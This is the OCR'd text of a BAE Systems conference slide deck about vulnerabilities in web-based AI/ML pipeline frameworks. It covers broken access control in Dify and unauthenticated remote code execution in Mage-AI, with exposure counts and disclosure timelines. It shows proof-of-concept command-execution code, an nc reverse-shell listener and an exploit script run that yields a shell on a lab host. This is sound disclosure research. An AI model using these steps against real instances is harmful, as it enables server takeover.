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What is the AI/ML Supply Chain Framework

* The Al/ML supply chain is the end-to-end process of building, deploying,
and maintaining Al systems.

 Al/ML Lifecycle/pipeline

08 o

Collect Store Process Train Monitor
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Al Security — Hacker's Perspective

Model Input Attacks

Prompt Injection
Model Extraction
Data Leakage

Model File Attacks

Command Injection

Al SUPPLY

CHAIN

RCE
Authentication Bypass
Buffer Overflow

A Supply Chain Attacks

Source: Dan Mclnerney, Al's Underbelly: The Zero-Day Goldmine, 2025
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Threats in AI/ML Framework

THOUSANDS OF SERVERS|HACKED IN ONGOING
ATTACK TARGETING RAY Al FRAMEWORK BY DAN
GOODIN

An ongoing cyberattack campaign targeting vulnerabilities in the Ray computing framework used by

major organizations like OpenAl, Uber, and Amazon has led to the compromise of thousands of servers.

Ray's [lack of authentication in the default configuration|of its Jobs APl programming interface facilitates

unauthorized access, reportedly leading to the tampering of Al models, stolen network credentials, and

thelinstallation of cryptocurrency miners and remote control toole AI framework vu I nerabi I ity is being

disputes the vulnerability but plans to introduce authentication mg

et used to compromise enterprise
servers (CVE-2023-48022)

Attackers are leveraging a vulnerability (CVE-2023-48022) in Anyscale’s Ray Al
software to compromise enterprise servers and saddle them with|cryptominers
andlreverse shells.
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Identifying Targets (l): Huntr by ProtectAl

huntr * The world first bug bounty platform for
Al/ML

Programs

* To ensure security and stability of
24 Al/MLapplications on 0SS

* Consists of 15,000+ community
members

* Provided monthly vulnerability report
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Identifying Targets (2): Using GitHub Topic Tag

About About

& Build, run, and manage data pipelines ZenML A : Build portable, production-
for integrating and transforming data. ready MLOps pipelines.

&
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Identifying Targets (2): Using GitHub Topic Tag

»

Filter by 34 results Best matc

Code
M

i IEEIEE & Build, run, and manage data pipelines for integrating and transforming data.

Issues
Pull requests
Discussions

Users

More Build data pipelines, the easy way %
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Example of Web-Based Al/ML Frameworks

* Ray

H20 Flow

ZenML

mlflow
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Top Vulnerabilities Discovered In Web-Based Al/ML

Arbitrary File
Upload/Read
IEEE

Copyright © 2026 BAE Systems. All Rights Reserved.
BAE SYSTEMS is a trade mark of BAE Systems plc.

Broken
Access
Control

BAE SYSTEMS PUBLIC

Cross-Site
Request
Forgery

BAE SYSTEMS



Examples Of Findings

AN Improper authorization check leads to deleting and erasing all data in VectorDB

Stored XSS to admin account takeover

N Arbitrary file upload leads to RCE and server takeover
S
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& |anggenius}dify Public L\ Notifications % Fork 185k 17 Star 119k

* LLM app development platform
* Features

O

O O O O

Al Workflow

RAG Pipeline

Agent Capabilities

Model Management

Monitor analyze application logs
and performance

 More than 5 millions of downloads
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Dify: Multiple Broken Access Control

Observation between user roles
Administrator

1 Dify. Osar 1mozs & Eglore @ studio

aAPPcreatedb... ¥ ;3. published a year ago
' “ WORKFLOW

B oOrchestrate

B APIAccess
F Logs

(@ overview

@ START 1

(%] query REQUIRED ¥

{ Submit Code Execu

| E Code

a APP created by admin (...

° admin v

B Knowledge & Tools

D Run &) 85 Features ::e
Submit Code Execution Taskto [ - X
Add description...
OUTPUT VARIABLES »
NEXT STEP
Add the next block in this workFlow

4 Select Next Block

Standard User

K pity. ) star  dp Explore

a APP created b... ~

- WORKFLOW

B APl Access
& Logs

@ overview

@ studio  a APP created by admin (... & Tools

° user v

To get started,
setup your model provider First.

Go to setup model provider (3

Or try the cloud version of Dify with free quote (2

Overview

@ 1 want to duplicate
Ready-to-use Al WebApp

In service ()

Public URL

&2 0

http://127.0.0.1:3000/workFlow/5BshQ3mjyWYFWXRL

47 Preview # Customize
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Dify: Multiple Broken Access Control

Instance |: Frontend Ul validation not implemented correctly

K pity. ()star o Explore & Studio  a APP created by admin ... & Tools ° user v

[ == localhost
a APP created b... ~

. WORKFLOW

a APP created by admin (but normal u 3 QEt starl:ed. . .
¥ workriow 2tup your model provider First.

This is created by admin But normal user can edit

this APP, https://www.malicious.com . i ¢
o to setup model provider (2 o NORNELOW

©| You don't have the permission to access the requested resource. It is either read-protected o not
readable by the server.

X
Edit Info try the cloud version of Dify with Free quote 3 To get sta rtEd'
Duplicate - .
B APIAccess setup your model provider First.
Export DSL I
riew B Logs
Delete Go to setup model provider (£
@ |wantto duplicate T e () B overview
Ready-to-use Al WebApp Or try the cloud version of Dify with Free quote 2
Public URL

http://127.0.0.1:3000/workFlow/5BshQ3mjywYFWXRL 22 [

Overview

47 Preview # Customize
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Dify: Multiple Broken Access Control

Instance |: Frontend Ul validation not implemented correctly

& C /\ Not secure  difytesting.com:300... & Yo o 4 - D

§ Dpify. ¢) star P Explore @ Studio / a APP created by admin (b... ~ = Tools
K pify. €)star dP Explore @ studio  a APP creat

0 a APP created by... ~

a APP created b... ~ ) (WOROW
woRKFLOW To get started,
- B APl Access setup your model provider
a APP created by admin (but normal u | get starts " Py P
WORKFLOW !tup your n B Logs fll'st.

This is created by admin But normal user can edit

Overview : A
this APP, https://www.malicious.com - D a APP created by admin ( X +
o to setup model

. x =0 [acalhos
Edit Info try the cloud version Edit App Info o I o (el
Duplicate
App icon & name
Export DSL !
new a APP created by admin|(but normal user can edit it) | o d load
2MNow all downloads
Delete b - .. WORKFLOW
escription .
" get started
© L:i?i:‘:;"ﬂ\l?? This is created by admin a APP created by admin (but normal u g g
vt N e 2 i i
‘ But normal user can edit this APP, https://www.malicious.com | 3 [ ‘tup your mOdel prOVIder fIrSt'
Public URL This is created by admin But normal user can edit
this APP, https:/fwww.malicious.com . .
htkp://127.0.0.1:3000/w o to setup model provider (3
Edit Info try the cloud version of Dify with Free quote (0
47 Preview & L S— —
Duplicate
Export DSL &'J |
ew
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Dify: Multiple Broken Access Control

@ Studio ~ a APP created by admin (b... &f Tools (Ul user
Instance 2: Server-side validation check missing
| Dify. C) star & Explore @ Studio  a APP created by admin (b... & Tools o usel X
To get started,
@ 2APPcreatedby... > setup your model provider
, . )
To get started, first.
) APl Access setup your model provider
& Logs first.

Go to setup model provider (5

E Overview Go to setup model provider (£

Or try the cloud version of Dify with free quote (

Or try the cloud version of Dify with free quote

Overview
Qverview

| want to duplicate
Ready-to-use Al WebApp

I want to duplicate

In service Q
Ready-to-use Al WebApp

Public URL
Public URL
http://127.0.0.1:3000/workflow/5BshQ3mj... 83 [
http://127.0.0.1:3000/workflow/5BshQ3mj.. 88 (3
%/ Preview Customize
& Preview f Customize /
2, Backend service API In service o, Backend service API Disable
Eas_\ly integrated into your appli Easily integrated into your appl|
cation :
cation
Service API Endpoint Service API End t
ervice ndpoin
http://difytesting.com:5001/v1 D |‘_’|
http://difytesting.com:5001/v1
£ APl Key B API Reference
BAE SYSTEMS PUBLIC & API Key B API Reference




Dify: Multiple Broken Access Control CVE-2025-43862

Instance 3: Direct URL access to admin module (APP Orchestration )

Changing this directory
I D|fy_ C)star 119275 b Explore & Studio = a APP created by admin (... B Knowledge & Tools ° admin ¥
I aAPPcreatedb... ¥ 33 . Published a year ago > Run @ BB Features Publish v 3:0 /
v, | WORKFLOW v I 2APPcreated by admin (butn: X 4 ¢ = (| X
Submit Code Execution Taskto [ - = X € 5 C  ANotsecure difytesting.com:3000/appfbfS83SSt-61ca-4cBa-bf18-13825524f 1dJoverview & ) ® O 2
@ Orchestrate
Add description...
) APl Access . Dify_ ) star 33,691 & Explore @ Studio  a APP created by admin (b... - & Tools | ° user
@ tos “TT=
i v WORKFLOW -
() Overview @ START i OUTPUT VARIABLES > To get starte d =
'
0 query REQUIRED & API A i i
NEXT STEP 6 API Access setup your model provider first.
Add the next block in this workflow @ Logs
—
v 4 Select Next Block B Overview
Submit Code Execu Or try the cloud version of Dify with free quote (2

I g Code
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Dify: Multiple Broken Access Control

CVE-2025-43862

Instance 3: Direct URL access to admin module (APP Orchestration )

Changed to this directory

v I aAPPcrested by admin (butne X 4+ ‘ - o X € 5 C  ANotsecure difytesting.com:3000/app/bf58355f-61ca-4c8a-bf18-1382552421d/workflow NIR S Y @ O 2
€ 5 C  ANotseure difytesting.com:3000/app/bfS8355f-61ca-4cBa-bf18-13825524121fworkfiow | SIE - e O 2 : : -

I D|fy ) star 33693 o Explore @ Studio  a APP created by admin (b... & Tools ~

= @ Action succeeded

I Dify_ ) star 33,692 o Explore @ Studio  a APP created by admin (b... & Tools

@ a APP created by... ¥ Auto-Saved 17:05:46 - Published a few seconds ago DRrRun @ 88 Features

@ WORKFLOW
@ a APP created by... ¥ Auto-Saved 16:52:53 - Published 2 minutes ago DRrun @ 88 Features
.,  WORKFLOW LATEST PUBLISHED
B3 API Access Published a few seconds ago Restore
LATEST PUBLISHED ()

=

B APl Access Published 2 minutes ago Restore @ Logs
® Run App 2
Overview @ START 1 -
= 2
@ sarr i ® Run App 2 SN R
(x} query REQUIRED ®*
Access API Reference 2
(x) query REQUIRED ® 2= Batch Run App 2 ®
B Access API Reference 2
| 1
i 0 um . @ LM
gpt-4 CHar
gpt-4 char 1 @ eno
1 @ eno QUM (W text String
OUM (dtext String 1 @ coce !
| Ei Code [
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Dify: Threat Research Information

Explore Downloads Pricing @
i= Results
Host Filters Hosts
Time: 0.23s
Labels:

China

United States

Singapore

Japan

SHODAN

CENSYS

cens g S Q Hosts v £  services http.response.html_tags=<title>Dify</title>

1,898 remote-access
448 database
207 jquery
202 login-page
127 file-sharing
& More

Autonomous System:

438 ALIBABA-CN-NET
Hangzhou Alibaba

Advertising Co. Ltd.

334 TENCENT-NET-AP
Shenzhen Tencent
Computer Systems
Company Limited

271 AMAZON-02

130 ALIBABA-CN-NET

-

Ubuntu Linux ALIBABA-CN-NET Hangzhou Alibaba Advertising Co

remote-access

22/SSH 443/HTTP

I
Ubuntu Linux ALIBABA-CN-NET Alibaba US Technology Co., Ltd. (4

remote-access || default-landing-page

22/SSH 80/HTTP 8000/HTTP

-

ALIBABA-CN-NET Hangzhou Alibaba Advertising Co.,Ltd. (37963)

remote-access

22/S5H BO/HTTPR

Total of 2,362+ unique instances found in both Shodan and Censys
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H mage-ai / mage-ai Public

.Q. MNotifications Y Fork 890

v7 Star 8.6k
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pipelines

* Build real-time and batch pipelines to

transform data
* Python

e SQL

* R

 More than | millions of downloads
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age-Al: Inadequate Authentication Setup Led to Zero click RCE

Add a Custom Python Block

o_project > Pipelines > poc2 > Edit J Command

ALLFILES CURRENT BLOCK File Edit Run

8 pyl23 <X Editparents
I demo_project

& charts import os

@ custom 2 os.system(

@M data_exporters
data_loaders
dbt
extensions

B interactions + Data loader + Transformer Data exporter DBT model o Custom (%

(% markdowns

BAE SYSTEMS




age-Al: Inadequate Authentication Setup Led to Zero click RCE

Achieved 0OS Command Execution on the Target

e_sunset > Edit ¢ Command Center ||+ . Update RUMH x  Untitled x  Untitled X

baeuser ~ » Deskfop  mage-ai » cat /tmp/abc
File  Edit  Run ® Python uid=1000(baeuser) gid=1000(baeuser) groups=1000(baeuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114,
Ipadmin),115(sambashare) ~

i baeuser ~ > Deskto mage-ai
PY & testing_rce_poc M ¢ E " 6 i

import os
os.system("id >/tmp/abc")

1
raceback (most recent call last)
: Block testing_rce poc does not h

BAE SYSTEMS




age-Al: Inadequate Authentication Setup Led to Zero click RCE

Executing Reverse Shell Payload

Pipelines brave sunset Edit

CURRENT BLOCH File  Edit Run

h files = C

import -os
os.system(
os.system(

+ Data loader

Markdown

+ Transformer

B testing rce_poc

Data exporter

DBT model

nc -nvlp 4444
listening on [any] 444t ...
connect to [192.168.100.30] from (UNKNOWN) [192.168.100.32] 52728
bash: cannot set terminal process group (3898): Inappropriate ioctl for device
bash: no job control in this shell
Welcome to Linux Lite 6.4 baeuser

Khamis 02 Me1 2024, 18:28:01

Memory Usage: 1341/1975MB (67.90%)

Disk Usage: 15/20GB (82%)

Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)

vaeuser 1(€) REGESAEnT) -

hostname
linuxlite-BAE

vaeuser (&) RAGECRISVENT) -
1d
uid=1000(baeuser) gid=1000(baeuser) groups=1000(baeuser),4(adm),24(cdrom),27(sudo),

baeuser () mage=ai=venv’» - - Desktop » mage-ai

Desktop » mage-al = hostname

Desktop > mage-ai id

BAE SYSTEMS



Demo Full Exploitation Script CVE-2025-2129

~/Deskton/VR/AT
mage-rce-exploit.py http://192.168.100.32:6789 192.168.100.79 133

[ RCE Mage-AI if authentication not implemented
[*] Listen reverse shell first...
Listening on [any] 1337 ...
[v] Pipeline Successfully created
[v] Python block successfully created
[v] Successfully triggering RCE
connect to [192.168.100.79] from (UNKNOWN) [192.168.100.32] 50262
bash: cannot set terminal process group (2905): Inappropriate ioctl for device
bash: no job control in this shell
Welcome to Linux Lite 6.4 baeuser

Jumaat 03 Mei 2024, 14:55:47

Memory Usage: 1233/1975MB (62.43%)

Disk Usage: 15/20GB (82%)

support - https://www.linuxliteos.com/forums/ (Right click, Open Link)

baeuser (@) mage-ai=venv» ~ - Desktop > mage-ai 1id
id
uid=100@(baeuser) gid= lﬁﬁﬁfbaeuser} groups=1000(baeuser),4(adm),24(cdrom),27(sudo),30(
baeuser (e) mage-ai-venv = - 0 mage-ai + hostname
hostname
linuxlite-BAE
baeuser W(EHage=ai=venv» -~ = Desktop > mage-ai ifconfig
ifconfig
enp@s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1508
inet 192.168.100.32 netmask 255.255.255.0 broadcast 192.168.108.255
inet6é fe80::a@@:27ff:feab:ba4c prefixlen 64 scopeid @x20<link>
inet6 2001:f40:984:989b:ad@:27ff:feab:bakc prefixlen 64 scopeid @x@<global>
ether 08:00:27:ab:ba:4c txgueuelen 1000 (Ethernet)
RX packets 2930 bytes 1016249 (1.0 MB)
RX errors @ dropped @ overruns @ frame @
TX packets 1360 bytes 191595 (191.5 KB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.2.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @0x1@<host>
loop txgqueuelen 1000 (Local Loopback)
RX packets 787 bytes 249944 (249.9 KB)

RX errors @ dropped @ overruns @ frame @
TX packets 787 bytes 249944 (249.9 KB) B A E SYST E M s
TX errors @ dropped @ overruns @ carrier @ collisions @




Mage-Al: Threat Research Information CVE-2025-2129

SHODAN CENSYS

Ceﬂsgs Q Hosts v £ lservices.http.response.html_tags="<tit|e
.'. SHODAN Explore Downloads Pricing & http.favicon.hash:-299058862
= Results
v View Report & Download Results L Historical ]
Host Filters Hosts
Partner Spotlight: Looking for a Splunk alternative tc Results: 247 Time: 0.50s
Labels:
M Mage
114 remote-access (-
,' = : 25 database _ MICROSOFT-CORP-MSN-AS-BLOCK (8075)
m N - Lot UTF- 23 def'ault—landlng—page 6780/HTTP
A Ve 4 == United _ _ . 13 login-page
y AN States, Kansas City - - - 4 email
- - -
Y cloud =@ More
‘ AMAZON-02 (16509) Oregon, United Stat
United States 115 Autonomous System: 80/HTTP 443/HTTP
Germany M Mage 54 AMAZON-02
Singapore 53 GOOGLE-CLOUD- (—
PLATFORM AMAZON-02 (16509) Leinster, Ireland
29 AMAZON-AES 80/HTTP 443/HTTP
23 MICROSOFT-CORP-
MSN-AS-RI OCK

Total of 245+ unique instances found in both Shodan and Censys
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Mage-Al: Nuclei Templates CVE-2025-2123

https://cloud.projectdiscovery.io/?template=CVE-2025-2129

-u http://192.168.100.32:6789/ -t mage-ai-unauthentication.yaml

/I N
NN,
/11N NN ] ] v3.2.4

projectdiscovery.1lo

[wrn] Found 1 templates loaded with deprecated protocol syntax, update before v3 for continued support.
[1nF] current nuclei version: v3.2.4 ( )

[1nF] current nuclei-templates version: v9.8.5 (latest)

[wrn] Scan results upload to cloud is disabled.

[10F] New templates added in latest release: 142

[11F] Templates loaded for current scan: 1

[wrn] Loading 1 unsigned templates for scan. Use with caution.

[1nF] Targets loaded for current scan: 1

[mage-ai-unauthentication-check] [ 11 ] http://192.168.100.32:6789/api/kernels

Find Unauthenticated Mage-Al instances

BAE SYSTEMS
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Disclosure Timeline — Dify

July 2024 April 2025
Received response from Dify released patches and
Dify for acknowledgement published 5 CVEs

CVE-2025-43862
CVE-2025-43854

Reported findings to Follow up on progress E\\;Egggggggg
Dify with Dify CVE-2025-32790
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Disclosure Timeline — Mage Al CVE-2025-2129

Mau 2024 January 2025 March 2025 >eptember 2023
Y : . . Mage released a patch
Received response from Mage did not acceptit A CVE published by - : )
P . . for this issue in their
Maae for acknowledgement ~ 0s a valid security VulDB; status marked
9 9 o . latest release
finding as disputed
Reported finding to Follow up on progress with Published PoC and
Mage Mage submitted it to VulDB
for triage
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Conclusion

* You don't need deep Al knowledge to hack Al

* Supply Chain frameworks with web interfaces are not immune to classic
web vulnerabilities

* Challenge: Getting vulnerabilities accepted by product owners (Patience and
Persistence are key)

* Caution: Don't integrate Al into your technology or processes without proper
security testing.
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